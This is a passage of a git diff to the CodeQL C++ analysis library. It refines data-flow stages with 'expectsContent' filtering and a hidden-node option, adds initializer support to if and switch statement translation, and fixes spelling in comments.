+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl4.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl4.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl4.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl4.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImplCommon.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImplCommon.qll
index 100ffde2616..0079b259260 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImplCommon.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowImplCommon.qll
@@ -305,7 +305,7 @@ cached
 private module Cached {
   /**
    * If needed, call this predicate from `DataFlowImplSpecific.qll` in order to
-   * force a stage-dependency on the `DataFlowImplCommon.qll` stage and therby
+   * force a stage-dependency on the `DataFlowImplCommon.qll` stage and thereby
    * collapsing the two stages.
    */
   cached
@@ -328,6 +328,9 @@ private module Cached {
   cached
   predicate clearsContentCached(Node n, ContentSet c) { clearsContent(n, c) }
 
+  cached
+  predicate expectsContentCached(Node n, ContentSet c) { expectsContent(n, c) }
+
   cached
   predicate isUnreachableInCallCached(Node n, DataFlowCall call) { isUnreachableInCall(n, call) }
 
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll
index b065f400fa6..9dcd7f176df 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll
@@ -279,6 +279,12 @@ predicate clearsContent(Node n, Content c) {
   none() // stub implementation
 }
 
+/**
+ * Holds if the value that is being tracked is expected to be stored inside content `c`
+ * at node `n`.
+ */
+predicate expectsContent(Node n, ContentSet c) { none() }
+
 /** Gets the type of `n` used for type pruning. */
 IRType getNodeType(Node n) {
   suppressUnusedNode(n) and
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll
index ad39e1c6c81..2bfded52441 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll
@@ -37,7 +37,7 @@ private module Cached {
    *      along the chain of addresses computed by `StoreNodeInstr.getInner` to identify field writes
    *      and call `storeStep` accordingly (i.e., for an expression like `a.b.c = x`, we visit `c`, then
    *      `b`, then `a`).
-   *   2. Flow is transfered from a `WriteSideEffectInstruction` to a `StoreNodeOperand` after flow
+   *   2. Flow is transferred from a `WriteSideEffectInstruction` to a `StoreNodeOperand` after flow
    *      returns to a caller. Flow will then proceed to the defining instruction of the operand (because
    *      the `StoreNodeInstr` computed by `StoreNodeOperand.getInner()` is the `StoreNode` containing
    *      the defining instruction), and then along the chain computed by `StoreNodeInstr.getInner` like
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/implementation/EdgeKind.qll b/cpp/ql/lib/semmle/code/cpp/ir/implementation/EdgeKind.qll
index 32e36bb6787..91e1fe03e23 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/implementation/EdgeKind.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/implementation/EdgeKind.qll
@@ -67,7 +67,7 @@ class DefaultEdge extends EdgeKind, TDefaultEdge {
 
 /**
  * A "case" edge, representing the successor of a `Switch` instruction when the
- * the condition value matches a correponding `case` label.
+ * the condition value matches a corresponding `case` label.
  */
 class CaseEdge extends EdgeKind, TCaseEdge {
   string minValue;
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/implementation/aliased_ssa/gvn/ValueNumbering.qll b/cpp/ql/lib/semmle/code/cpp/ir/implementation/aliased_ssa/gvn/ValueNumbering.qll
index 796fb792366..ca3c378cd7e 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/implementation/aliased_ssa/gvn/ValueNumbering.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/implementation/aliased_ssa/gvn/ValueNumbering.qll
@@ -34,7 +34,7 @@ class ValueNumber extends TValueNumber {
   final Instruction getAnInstruction() { this = valueNumber(result) }
 
   /**
-   * Gets one of the instructions that was assigned this value number. The chosen instuction is
+   * Gets one of the instructions that was assigned this value number. The chosen instruction is
    * deterministic but arbitrary. Intended for use only in debugging.
    */
   final Instruction getExampleInstruction() {
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstruction.qll b/cpp/ql/lib/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstruction.qll
index 13ec2ca4ca4..303a9683011 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstruction.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstruction.qll
@@ -1005,7 +1005,7 @@ predicate canReuseSsaForMemoryResult(Instruction instruction) {
 deprecated predicate canReuseSSAForMemoryResult = canReuseSsaForMemoryResult/1;
 
 /**
- * Expose some of the internal predicates to PrintSSA.qll. We do this by publically importing those modules in the
+ * Expose some of the internal predicates to PrintSSA.qll. We do this by publicly importing those modules in the
  * `DebugSSA` module, which is then imported by PrintSSA.
  */
 module DebugSsa {
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/implementation/raw/gvn/ValueNumbering.qll b/cpp/ql/lib/semmle/code/cpp/ir/implementation/raw/gvn/ValueNumbering.qll
index 796fb792366..ca3c378cd7e 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/implementation/raw/gvn/ValueNumbering.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/implementation/raw/gvn/ValueNumbering.qll
@@ -34,7 +34,7 @@ class ValueNumber extends TValueNumber {
   final Instruction getAnInstruction() { this = valueNumber(result) }
 
   /**
-   * Gets one of the instructions that was assigned this value number. The chosen instuction is
+   * Gets one of the instructions that was assigned this value number. The chosen instruction is
    * deterministic but arbitrary. Intended for use only in debugging.
    */
   final Instruction getExampleInstruction() {
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/implementation/raw/internal/TranslatedStmt.qll b/cpp/ql/lib/semmle/code/cpp/ir/implementation/raw/internal/TranslatedStmt.qll
index eb195286339..187dbc2f994 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/implementation/raw/internal/TranslatedStmt.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/implementation/raw/internal/TranslatedStmt.qll
@@ -421,20 +421,36 @@ class TranslatedCatchAnyHandler extends TranslatedHandler {
 class TranslatedIfStmt extends TranslatedStmt, ConditionContext {
   override IfStmt stmt;
 
-  override Instruction getFirstInstruction() { result = getCondition().getFirstInstruction() }
+  override Instruction getFirstInstruction() {
+    if hasInitialization()
+    then result = getInitialization().getFirstInstruction()
+    else result = getFirstConditionInstruction()
+  }
 
   override TranslatedElement getChild(int id) {
-    id = 0 and result = getCondition()
+    id = 0 and result = getInitialization()
     or
-    id = 1 and result = getThen()
+    id = 1 and result = getCondition()
     or
-    id = 2 and result = getElse()
+    id = 2 and result = getThen()
+    or
+    id = 3 and result = getElse()
+  }
+
+  private predicate hasInitialization() { exists(stmt.getInitialization()) }
+
+  private TranslatedStmt getInitialization() {
+    result = getTranslatedStmt(stmt.getInitialization())
   }
 
   private TranslatedCondition getCondition() {
     result = getTranslatedCondition(stmt.getCondition().getFullyConverted())
   }
 
+  private Instruction getFirstConditionInstruction() {
+    result = getCondition().getFirstInstruction()
+  }
+
   private TranslatedStmt getThen() { result = getTranslatedStmt(stmt.getThen()) }
 
   private TranslatedStmt getElse() { result = getTranslatedStmt(stmt.getElse()) }
@@ -456,6 +472,9 @@ class TranslatedIfStmt extends TranslatedStmt, ConditionContext {
   }
 
   override Instruction getChildSuccessor(TranslatedElement child) {
+    child = getInitialization() and
+    result = getFirstConditionInstruction()
+    or
     (child = getThen() or child = getElse()) and
     result = getParent().getChildSuccessor(this)
   }
@@ -698,14 +717,28 @@ class TranslatedSwitchStmt extends TranslatedStmt {
     result = getTranslatedExpr(stmt.getExpr().getFullyConverted())
   }
 
+  private Instruction getFirstExprInstruction() { result = getExpr().getFirstInstruction() }
+
   private TranslatedStmt getBody() { result = getTranslatedStmt(stmt.getStmt()) }
 
-  override Instruction getFirstInstruction() { result = getExpr().getFirstInstruction() }
+  override Instruction getFirstInstruction() {
+    if hasInitialization()
+    then result = getInitialization().getFirstInstruction()
+    else result = getFirstExprInstruction()
+  }
 
   override TranslatedElement getChild(int id) {
-    id = 0 and result = getExpr()
+    id = 0 and result = getInitialization()
     or
-    id = 1 and result = getBody()
+    id = 1 and result = getExpr()
+    or
+    id = 2 and result = getBody()
+  }
+
+  private predicate hasInitialization() { exists(stmt.getInitialization()) }
+
+  private TranslatedStmt getInitialization() {
+    result = getTranslatedStmt(stmt.getInitialization())
   }
 
   override predicate hasInstruction(Opcode opcode, InstructionTag tag, CppType resultType) {
@@ -735,6 +768,8 @@ class TranslatedSwitchStmt extends TranslatedStmt {
   }
 
   override Instruction getChildSuccessor(TranslatedElement child) {
+    child = getInitialization() and result = getFirstExprInstruction()
+    or
     child = getExpr() and result = getInstruction(SwitchBranchTag())
     or
     child = getBody() and result = getParent().getChildSuccessor(this)
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/implementation/unaliased_ssa/gvn/ValueNumbering.qll b/cpp/ql/lib/semmle/code/cpp/ir/implementation/unaliased_ssa/gvn/ValueNumbering.qll
index 796fb792366..ca3c378cd7e 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/implementation/unaliased_ssa/gvn/ValueNumbering.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/implementation/unaliased_ssa/gvn/ValueNumbering.qll
@@ -34,7 +34,7 @@ class ValueNumber extends TValueNumber {
   final Instruction getAnInstruction() { this = valueNumber(result) }
 
   /**
-   * Gets one of the instructions that was assigned this value number. The chosen instuction is
+   * Gets one of the instructions that was assigned this value number. The chosen instruction is
    * deterministic but arbitrary. Intended for use only in debugging.
    */
   final Instruction getExampleInstruction() {
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll b/cpp/ql/lib/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll
index 13ec2ca4ca4..303a9683011 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll
@@ -1005,7 +1005,7 @@ predicate canReuseSsaForMemoryResult(Instruction instruction) {
 deprecated predicate canReuseSSAForMemoryResult = canReuseSsaForMemoryResult/1;
 
 /**
- * Expose some of the internal predicates to PrintSSA.qll. We do this by publically importing those modules in the
+ * Expose some of the internal predicates to PrintSSA.qll. We do this by publicly importing those modules in the
  * `DebugSSA` module, which is then imported by PrintSSA.
  */
 module DebugSsa {
diff --git a/cpp/ql/lib/semmle/code/cpp/security/BufferWrite.qll b/cpp/ql/lib/semmle/code/cpp/security/BufferWrite.qll
index 0c430d301c1..a112f5a3371 100644
--- a/cpp/ql/lib/semmle/code/cpp/security/BufferWrite.qll
+++ b/cpp/ql/lib/semmle/code/cpp/security/BufferWrite.qll
@@ -155,7 +155,7 @@ class StrCopyBW extends BufferWriteCall {
     // when result exists, it is an exact flow analysis
     reason instanceof ValueFlowAnalysis and
     result =
-      this.getArgument(this.getParamSrc()).(AnalysedString).getMaxLength() * this.getCharSize()
+      this.getArgument(this.getParamSrc()).(AnalyzedString).getMaxLength() * this.getCharSize()
   }
 
   override int getMaxData(BufferWriteEstimationReason reason) {
@@ -201,7 +201,7 @@ class StrCatBW extends BufferWriteCall {
     // when result exists, it is an exact flow analysis
     reason instanceof ValueFlowAnalysis and
     result =
-      this.getArgument(this.getParamSrc()).(AnalysedString).getMaxLength() * this.getCharSize()
+      this.getArgument(this.getParamSrc()).(AnalyzedString).getMaxLength() * this.getCharSize()
   }
 
   override int getMaxData(BufferWriteEstimationReason reason) {
diff --git a/cpp/ql/lib/semmle/code/cpp/security/Encryption.qll b/cpp/ql/lib/semmle/code/cpp/security/Encryption.qll
index 120b154b787..00be9a3deb5 100644
